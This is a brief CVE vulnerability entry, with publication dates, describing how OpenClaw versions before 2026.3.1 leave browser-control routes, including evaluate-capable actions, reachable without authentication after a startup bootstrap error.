CVE-2026-32041

Published: 2026-03-19 22:16:41
Last Modified: 2026-03-23 17:29:18

Description

OpenClaw versions prior to 2026.3.1 fail to properly handle authentication bootstrap errors during startup, allowing browser-control routes to remain accessible without authentication. Local processes or loopback-reachable SSRF paths can exploit this to access browser-control routes including evaluate-capable actions without valid credentials.
